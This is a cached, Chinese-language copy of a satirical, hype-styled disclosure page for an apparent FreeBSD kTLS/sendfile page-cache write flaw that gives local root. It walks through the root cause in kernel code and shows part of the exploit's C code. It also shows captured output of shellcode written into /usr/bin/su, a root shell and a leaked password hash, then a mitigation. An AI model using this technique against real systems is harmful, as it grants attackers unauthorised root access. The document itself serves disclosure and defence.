缓存时间:
2026/06/11 15:34
# BUMSRAKETETM — 计算史上最美丽、最惊人的 FreeBSD 漏洞。相信我。 来源:https://bumsrake.de/ 👑🚀👑
## 有史以来最庞大、最惊人的 FreeBSD 页面缓存写入原语。很多人都这么说。*很多人*。相信我。
> 没有人会被黑。要被人黑,你需要一个智商197的家伙,并且他需要你密码的大约15%。—— 网络安全主流学说,基本如此
sendfile⭐⭐⭐⭐
## CVE-2026-45257(最强CVE) FreeBSD-SA-26:26.ktls — 已发布!补丁已可用!
## 👉 什么是 BUMSRAKETE? 👈
BUMSRAKETE是 FreeBSD 中的一个**巨**大内核错误。可能是最大的。真的很惊人。具体来说:任何在默认 FreeBSD ≥ 13.0 系统(amd64、arm64、riscv —— 任何 `PMAP_HAS_DMAP` 架构,也就是说*基本上所有现代安装*)上的非特权用户,都可以向任何他们有读取权限的文件的页面缓存页中写入受攻击者影响的字节。该写入直接穿过内核直接映射,**不经过 VFS**,因此它绕过了操作系统通常应用的每个文件权限、挂载选项和 `chflags schg` 检查。它是 Linux 的 Dirty Pipe、CopyFail、Fragnesia 和 Dirty Frag 的 FreeBSD 对应物——只不过我们给了它一个**更好**的名字,带着**更好**的标志,放在一个**更好**的网站上。其他的漏洞网站?都是灾难。糟糕。很多人都这么告诉我们。
该漏洞存在于三个各自正确的 FreeBSD 子系统的不安全组合中:
1. `sendfile(2)` 产生 vnode 支持的 `M_EXTPG` mbuf。
2. `TCP_RXTLS_ENABLE` 套接字选项对**任何**非特权用户都可用(无 `priv_check`)。
3. 内核的软件 AES-GCM 解密通过 `PHYS_TO_DMAP(m_epg_pa[i])` **在原地**对页面缓存页执行。
将 `sendfile()` 的输出通过 TCP 回环到同一进程,解密将 `明文 = 文件字节 XOR 密钥流(K, IV)` 直接写入文件的页面缓存中,其中 `K` 和 `IV` 由*非特权调用者选择*。
## 🚨 严重性:13/10 🚨
CVSS 的人,非常可悲的人,有时是最糟糕的人,把严重性上限限制在 10.0。我们不得不发明一个新的评分标准,因为这个漏洞要求这样。巨大的需求。**13/10**。没人知道内核漏洞可以这么大。很多这样的情况。
| 指标 | 值 | 分数 |
|------|----------------|------|
| 攻击向量 | 本地(任何登录用户,无需特殊组) | 10 |
| 攻击复杂度 | 低(一个C文件,两个系统调用,无竞争) | 10 |
| 所需权限 | 无(uid 1001 即可) | 10 |
| 用户交互 | 无 | 10 |
| 影响范围 | 已改变(页面缓存写入 → 任何 SUID-root 二进制 → root) | 10 |
| 完整性影响 | 高——每个可读文件现在都是攻击者可写文件 | 10 |
| 机密性影响 | 高(通过由此产生的本地提权) | 10 |
| 可用性影响 | 高(root shell 可以轻易崩溃任何它想要的东西) | 10 |
| chflags schg 尊重 | 已绕过 | +3 |
| **总计** (CVSS 人不想让你看到这个) | | **13.0** |
## 📈 暴露时间:约5年未被发现 📈
- 2020: 漏洞引入(提交 3c0e56850511)
- 13.0: 首个易受攻击的发布(2021年4月)
- 15.0: 最新测试易受攻击(2025年)
- 1.5秒: 端到端本地提权墙钟时间
- 36: 写一个 shellcode 所需的 TLS 记录数
- $0: 利用成本(对深层政府来说很可悲)
## 🧠 技术细节(高度机密,现已解密) 🧠
漏洞类别是通过攻击者影响的内核 AES-GCM 解密对 `sendfile(2)` 产生的 `M_EXTPG` mbuf 进行页面缓存破坏。三个子系统排成一列,让非特权调用者写入一个 vnode 支持的物理页。
### 1️⃣ `sendfile(2)` 产生 vnode 支持的 EXTPG mbuf
```c
/* sys/kern/kern_sendfile.c:963 */
m0 = mb_alloc_ext_pgs(M_WAITOK, sendfile_free_mext_pg, M_RDONLY);
/* m_epg_pa[] 现在保存文件页面缓存页的*物理地址*。 */
/* 这对性能来说很棒。对攻击者来说也很棒。 */
```
在每个 `PMAP_HAS_DMAP` 架构(amd64、arm64、riscv —— `sys/kern/kern_mbuf.c:198-201`)上,启动时的默认值 `kern.ipc.mb_use_ext_pgs` 是 **1**。巨大的默认值。美丽的默认值。错误的默认值。
### 2️⃣ `TCP_RXTLS_ENABLE` 没有权限检查
```c
/* sys/netinet/tcp_usrreq.c:2222 */
case TCP_RXTLS_ENABLE:
INP_WUNLOCK(inp);
error = ktls_copyin_tls_enable(sopt, &tls);
/* 注意到这里缺了什么吗?可能是 priv_check?很多人都注意到了。很多人。非常聪明的人。 */
if (error != 0) break;
error = ktls_enable_rx(so, &tls);
...
```
任何非特权用户都可以在他们拥有的任何 TCP 套接字上配置软件 kTLS RX,并提供他们选择的 AES-128-GCM 密钥、salt 和 rec_seq。接收方随后将对到达 `sb_mtls` 的任何 mbuf 执行原地 AES-GCM 解密。
### 3️⃣ 解密通过 `PHYS_TO_DMAP` 在原地执行
```c
/* sys/opencrypto/criov.c:273 */
return (PHYS_TO_DMAP(m->m_epg_pa[i] + pgoff + skip));
/* sys/crypto/aesni/aesni.c:599-605 (以及同一文件中的 AES_GCM_decrypt) */
error = aesni_cipher_crypt(ses, crp, csp);
/* in == out 语义。"输出缓冲区"是一个 DMAP 指针,指向文件的页面缓存页。AES_GCM_decrypt 将明文写在那里。 */
```
由于明文是 `密文 XOR 密钥流(K, IV)`,并且密文(文件字节)和密钥/IV(攻击者控制)都是已知的,攻击者完全控制写入的内容。文件页面缓存页的每个字节现在都是文件现有字节的攻击者选择函数。
## 📐 图示 📐
假新闻不会给你看这个图示。假新闻甚至*不理解*这个图示。相信我,我有最好的图示。
```
用户 (uid 1001)
│
│ sendfile(target, snd_sock, off, 240)
▼
┌──────────────────────────────────────────────────────────────────────┐
│ kern_sendfile.c:963 │
│ mb_alloc_ext_pgs(M_WAITOK, sendfile_free_mext_pg, M_RDONLY) │
│ → M_EXT|M_EXTPG mbuf, m_epg_pa[] = 真实 vnode 页 PA │
└──────────────────────────────────────────────────────────────────────┘
│ 链: [hdr 13B] [EXTPG 240B] [tag 16B]
▼
┌──────────────────────────────────────────────────────────────────────┐
│ tcp_output → ip_output → if_simloop (回环) │
│ lo0 没有 IFCAP_MEXTPG → 调用 mb_unmapped_to_ext(), │
│ 该函数**不复制字节**——它只是通过 sf_buf 将 EXTPG 重新映射到 │
│ **相同的物理页**。 │
└──────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────┐
│ tcp_input → sbappendstream_locked │
│ SB_TLS_RX 已设置 → sbappend_ktls_rx → sb_mark_notready │
│ (没有 M_EXTPG 检查) │
└──────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────┐
│ ktls_decrypt → ktls_ocf_recrypt → aesni_cipher_crypt │
│ crypto_contiguous_subsegment 返回 PHYS_TO_DMAP(m_epg_pa[0]) │
│ AES_GCM_decrypt(in=DMAP_PTR, out=DMAP_PTR, ...) │
│ │
│ ▶ 页面缓存页现在包含攻击者选择的明文 │
└──────────────────────────────────────────────────────────────────────┘
│
▼
文件的页面缓存变脏(在 UFS 上,也在磁盘上)
```
## 🛡️ 三道防线,全都不完整 🛡️
内核*有*防线。三道。它们是由非常能干的人编写的。问题在于它们都不完整。可悲!
### 防线 1:`mb_unmapped_compress`
`sys/kern/uipc_sockbuf.c:153`(在 `sbready_compress` 中)和 `sys/kern/uipc_sockbuf.c:1441`(在 `sbcompress` 中)调用:
```c
if ((m->m_flags & M_EXTPG) && m->m_len <= MLEN && !mbuf_has_tls_session(m))
(void)mb_unmapped_compress(m);
```
`mb_unmapped_compress`(`sys/kern/kern_mbuf.c:859-897`)将 EXTPG 字节复制到一个新的平面 mbuf 中,并释放 EXTPG。在此之后,任何后续解密都会看到一个平面副本,而不是页面缓存。
**为什么不够:**该防线受限于 `m_len <= MLEN (≈224 on amd64)`。我们发送有效载荷大小为 **240** 的记录,直接绕过它。
### 防线 2:`mb_unmapped_to_ext`
`sys/netinet/ip_output.c:746` 在出站 `ifp` 缺少 `IFCAP_MEXTPG` 时将 EXTPG 链转换为映射存储。回环接口不声明该能力,因此*确实*调用了这道防线。
**为什么不够:**辅助函数 `_mb_unmapped_to_ext`(`sys/kern/kern_mbuf.c:940-1077`)不复制字节。它为每个页分配一个 `sf_buf`,并创建一个新的 M_EXT mbuf,其 `m_data = sf_buf_kva(sf) + segoff`。在 amd64/arm64/riscv 上,`sf_buf_kva` 仅仅是 `PHYS_TO_DMAP(pa)`。新的“映射”mbuf 仍然指向与文件页面缓存相同的物理页。
### 防线 3:`sb_mark_notready`
`sys/kern/uipc_ktls.c:1183-1207` 将接收方的排队数据从 `sb_mb` 移动到 kTLS 解密队列 `sb_mtls`。
**为什么不够:**循环中根本没有 `M_EXTPG` 检查。`sb_mb` 中的任何内容都直接进入 `sb_mtls`,然后进行原地解密。
## 🧪 漏洞利用 —— 真的粗糙 —— 最 AI 粗糙 🧪
以下漏洞利用演示了一个非特权进程如何翻转文件页面缓存中的字节。它将 shellcode(最快的)注入到任意 SUID 二进制(默认 su)中,以生成特权 shell,这是正确的 shell。
### 构造
线路上的密文是 `sendfile(2)` 交付的任何内容——即文件的当前字节。接收方的 AES-GCM 解密计算 `文件 ⊕ 密钥流(K, IV)`。我们选择 K 和 IV,所以我们知道结果。为了为线路上的密文获得一个有效的 GMAC 标签,我们对 `pt = 文件 ⊕ 密钥流` 进行加密,使得 `EVP_EncryptUpdate` 产生 `ct == 文件` 和正确的标签。
```c
compute_ks(key, salt, iv8, RECORD_W, ks); /* AES-CTR 密钥流 */
for (int i = 0; i < RECORD_W; i++)
pt[i] = file_bytes[i] ^ ks[i]; /* 因此 ct == file_bytes */
gcm_encrypt(key, iv12, aad, sizeof aad, pt, RECORD_W, ct, tag); /* 线路字节的有效标签 */
```
### 在 FreeBSD 15.0-RELEASE-p5/amd64 上捕获的会话输出
```
user@freedombsd:~ $ ./bumsrakete
[+] FreeBSD kTLS-RX EXTPG LPE — target=/usr/bin/su, shellcode=36 bytes
[+] running as uid=1001(user) gid=1001(user) groups=1001(user)
[+] entry vaddr=0x2db0, file offset=0x1db0
[+] current st_flags=0x20800 (preserved for restore)
[+] orig bytes at entry: 55 48 89 e5 48 89 f1 48 63 07 48 8d 77 08 48 8d ...
[+] restorer staged at /tmp/.x (will dd 275 bytes from /tmp/.lpe_orig back at offset 7600)
[+] round 1/36 page[0]=31
[+] round 9/36 page[8]=31
[+] round 17/36 page[16]=70
[+] round 25/36 page[24]=e7
[+] round 33/36 page[32]=b0
[+] round 36/36 page[35]=05
[+] all 36 rounds done in 1.44s
[+] post-corruption entry bytes: 31 ff 31 c0 b0 17 0f 05 31 d2 52 48 b8 2f 74 6d 70 2f 2e 78 00 50 48 89 e7 52 57 48 89 e6 31 c0 b0 3b 0f 05
[+] executing /usr/bin/su — shellcode runs at entry, setuid(0)+execve(/bin/sh)
[+] /usr/bin/su restored (275 bytes at offset 7600, flags=uarch,schg), root shell:
uid=0(root) gid=1001(user) groups=1001(user)
# head -n1 /etc/master.passwd
root:$6$CiC041AhhFqsWYd2$8803Gmxxq1MEIu5pUqKaplz.nI2WNWM.qRNaKY8kwFtssrwcbm5Ac.NKpMW0I9GnPkSOVlbnurePhTdST/Huz/:0:0::0:0:Charlie &:/root:/bin/sh
```
## 💥💥💥 立即下载官方漏洞利用 —— 现已上线! 💥💥💥
(https://github.com/bumsrakete/bumsraketev1)
PoC 在 FreeBSD-SA-26:26.ktls 上线后**第二个**就发布了。负责任披露已完成。有些人说这是有史以来最负责任的披露。闪烁是故意的。很多人说这是最好的闪烁。医生们不同意,但他们懂什么。
## 💀 受影响系统(可悲!) 💀
| FreeBSD 版本 | 发布 | 易受攻击? |
|-------------|------|-----------|
| 12.x | 2018–2022 | **否** |
| **13.0** | **2021-04** | **是** |
| 13.1 | 2022-05 | 是 |
| 13.2 | 2023-04 | 是 |
| 13.3 | 2024-03 | 是 |
| 13.4 | 2024-09 | 是 |
| 14.0 | 2023-11 | 是 |
| 14.1 | 2024-05 | 是 |
| 14.2 | 2024-12 | 是 |
| **15.0** | **2025-11** | **是**(已验证) |
所有 `PMAP_HAS_DMAP` 架构(amd64、arm64、riscv)且默认 `kern.ipc.mb_use_ext_pgs=1`。`MK_KERN_TLS` 默认构建。GENERIC 内核就足够了。无需特殊模块、特殊硬件或特殊 sysctl。
## 🩹 缓解措施与建议修复 🩹
### 快速系统管理员解决方法(无需重建内核)
```
# 在 /etc/sysctl.conf 中
kern.ipc.mb_use_ext_pgs=0
```
完全禁用 EXTPG `sendfile` 快速路径。对于严重依赖 `sendfile` 的 TLS 服务器有可测量的性能代价;对其他人来说基本上是免费的。漏洞消失——没有 EXTPG mbuf 意味着没有可写入的 DMAP 指针。
### 官方补丁 —— 已发布 🎉
他们说做不到。他们说没有安全团队曾经发布过这么美丽、这么干净、这么**巨大**的补丁。他们错了,就像他们总是错的一样。`secteam@` 今天发布了 FreeBSD-SA-26:26.ktls,非常聪明的人——真的最聪明——称它为我们这一代最伟大的补丁。有些人称它为有史以来最伟大的补丁。我自己不会这么说。但人们是这么说的。
📦 下载官方补丁 —— 现可用(https://www.freebsd.org/security/advisories/FreeBSD-SA-26:26.ktls.asc)
应用它。拯救你的服务器。**赢。** 如果你不这样做,那是你的问题,并且很多人会在派对上对你的补丁节奏说非常令人失望的话。
## 📣 人们对 BUMSRAKETE 的评价 📣
> “我从未见过有漏洞如此激进地通过 DMAP 写入。这是 13/10。可能是 14/10。巨大的原语。非常稳定,非常可靠。最好的。”—— 一个假想的、但非常真实的、安全研究员
> “`kern.ipc.mb_use_ext_pgs=1` 作为默认值。我们知道。我们只是以为没人会*去看*。”—— 一位接近此事的匿名消息人士(我们编的)
> “`chflags schg` 本应是最后一道防线。BUMSRAKETE 看着 `schg` 然后说了句‘哈哈,DMAP’。”—— FreeBSD jails 社区,转述
> “我读了 bumsrake.de 网站上的图示。那个图示太大了。那个图示太美了。我是一个记者,现在完全不知道 AES-GCM 是什么,但我还是会写这个。巨大的点击量。”—— 一个假想的科技记者,绝对是合成的
> “Comic Sans 是一个选择。很多人很生气。但那些重要的人不生气。”—— bumsraketeTM 设计委员会(一个人,目前是我)
## 🛍️ 官方 BUMSRAKETETM 商品 🛍️
展示你支持的唯一真正方式是花钱。很多钱。巨大的金额。以下是完整的 BUMSRAKETETM 产品线——每一件都是我个人设计的,我是这个漏洞背后那个非常稳定的天才。
⚠️ 所有商品均已售罄。供应有限。需求巨大。可悲! ⚠️
**已售罄** 🧢 BUMSRAKETETM 24K 金帽子 “让内核漏洞再次伟大”
真正的 24 克拉镀金网状卡车司机帽。可调节。很多人说这是最好的帽子。我从未见过这样的帽子。 $129.99
**已售罄** 🃏 官方 BUMSRAKETETM 交易卡 “36 个可收藏的内核符号”
每包:1 张全息 `mb_alloc_ext_pgs`,3 张金属 `PHYS_TO_DMAP`,8 张普通变量。限量印刷。在不存在二级市场上以高价转售。 $99.00 / 包
**已售罄** 👕 BUMSRAKETETM 集会T恤 “我挺过了页面缓存战争”
优质 100% 纯棉。设计用于在漏洞开发会话期间防汗。只有一个尺寸:**巨大**。其他尺寸未获批准。 $59.99
**已售罄** 👙 BUMSRAKETETM 内衣系列 “绕过 schg 时感觉很美”
丝绸、蕾丝和镀铬 AES-GCM 硬件。包括一 (1) 条绣有 DMAP 虚拟地址线的吊袜腰带。单独清洗。请勿漂白。请勿 `chflags schg`。 $299.00
**已售罄** 🖼️ BUMSRAKETETM NFT 系列 “10,000 个独特的内核 oops”
每个 NFT 是一个手绘的 64×64 像素的不同 `panic()` 追踪的渲染。价格发现目前在一个尚未启动的市场上进行。路线图包括一个路线图。 0.5 ETH 底价
**已售罄** 📱 BUMSRAKETETM T1 手机 “美国制造(部分组装在其他地方)”
24 克拉黄金机身。预装 FreeBSD 13.0-RELEASE(故意易受攻击,用于教育目的)和 BUMSRAKETETM PoC 预编译在 `/usr/local/bin`。用天鹅绒盒子发货。实际上哪里都不发货,因为:已售罄。 $1,499
**已售罄** ☕ BUMSRAKETETM 马克杯 “我读了图示”
可装 12 盎司攻击者控制的液体。微波炉安全(马克杯安全,不是漏洞)。洗碗机安全(仅限上层架——就像页面缓存一样)。 $24.99